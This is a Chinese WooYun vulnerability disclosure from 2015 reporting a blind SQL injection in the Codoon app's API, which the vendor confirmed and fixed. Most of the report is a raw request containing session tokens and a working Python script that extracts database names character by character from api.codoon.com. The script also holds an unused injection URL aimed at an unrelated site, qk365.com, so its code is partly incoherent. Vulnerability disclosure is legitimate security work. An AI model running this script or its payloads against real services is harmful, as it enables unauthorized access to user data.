当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0153456

漏洞标题：咕咚网官方APP存在SQL注入漏洞（跨5个库+附绕过验证脚本）

相关厂商：咕咚网

漏洞作者： 路人甲

提交时间：2015-11-10 23:04

修复时间：2015-11-20 15:20

公开时间：2015-11-20 15:20

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-10： 细节已通知厂商并且等待厂商处理中
2015-11-20： 厂商已经确认，细节仅向厂商公开
2015-11-20： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

APP安全之SQL注入

详细说明：

目标：咕咚官方APP
检测发现以下地方存在SQL注入：（POST中的boardID，布尔盲注）

POST /api/get_good_post HTTP/1.1
Authorization: Bearer  48f9724bf93537d8f8fdc077858f086c
token: value
Content-Type: application/json
Content-Length: 109
X-Requested-With: XMLHttpRequest
Referer: http://api.codoon.com/api/get_good_post
Cookie: bduss=0JmPoJ58QRp09xPt_5AqCJ8xxMrrkvzN0k1bOkf8xMlcIvodpubYOkuH2olIivMi_av6o0NxSoJB93RGgu30MJ85SMJ48HOxlkSquliSSulqiSuqliS6ulioHu965maHliSquliqSulqiSuqliSquliqSulqiSuqliSquliqSulqiSuqliSquliqSulqiSuqliSquliqSulqiSuqliSquliqSulqiSuqliSquliqSulqiSuqraGFzgkvAj_3r3R7A
Host: api.codoon.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
{"boardID":"9","count":20,"offset":0,"userID":"b14e1d1d-9dc3-4105-8b12-f02f0a94de91"}


由于有过滤，故SQLMap没检测出来……于是手工写了个Python：（跑当前库名为例，程序中含代理）

#!/usr/bin/env python
#coding=utf8
import httplib, urllib, re, time
database = ''
temp_database = ''
httpClient = None
i = 33
while i < 128:
    if i == 37:
        i = i+1
    try:
        params = '{"boardID":"9 AND database() like 0x'+temp_database+str(hex(i))[2:]+'25","count":20,"offset":0,"userID":"b14e1d1d-9dc3-4105-8b12-f02f0a94de91"}'
        headers = {"Host": "api.codoon.com", 
                   "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0", 
                   "Accept-Encoding": "gzip,deflate", 
                   "Accept": "*/*", 
                   "Cookie": "JSESSIONID=4E4E004949665B956ADFF8315E7C3200", 
                   "Connection": "keep-alive", 
                   "Authorization": "Bearer  48f9724bf93537d8f8fdc077858f086c", 
                   "token": "value", 
                   "Content-Type": "application/json", 
                   "Content-Length": len(params)}
        httpClient = httplib.HTTPConnection("192.168.222.202", 8080, timeout=3)
        url = 'http://www.qk365.com/news//elive/infoRight_ajaxLink.do?siteid=6ec601fd-69a0-4469-a6f7-d1edb7136481&classPagemark=qkkx_yqlj%27%29%20AND%20(select%20GROUP_CONCAT(TABLE_NAME)%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=0x66726565636d73)%20like%200x'+temp_database+str(hex(i))[2:]+'25%20AND%20%28%27pJni%27=%27pJni&num=99'
        httpClient.request("POST", "http://api.codoon.com/api/get_good_post", params, headers)
        st = time.time()
        response = httpClient.getresponse()
        rp = response.read()
        if len(rp) > 100:
            temp_database = temp_database + str(hex(i))[2:]
            database = database + chr(i)
            print 'user(): ', database
            i = 33
        i=i+1
        
    except Exception, e:
        print e
    finally:
        if httpClient:
            httpClient.close()

漏洞证明：

1、跑当前数据库用户

user.jpg


2、跑当前数据库

database.jpg


3、跑出所有数据库

dbs.jpg


4、跑出当前数据库的表

tb2.jpg


其他数据同理可跑出，此处只作验证，就不深入了。

修复方案：

请多指教~

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：7

确认时间：2015-11-20 15:09

厂商回复：

已确认漏洞

最新状态：

2015-11-20：已修复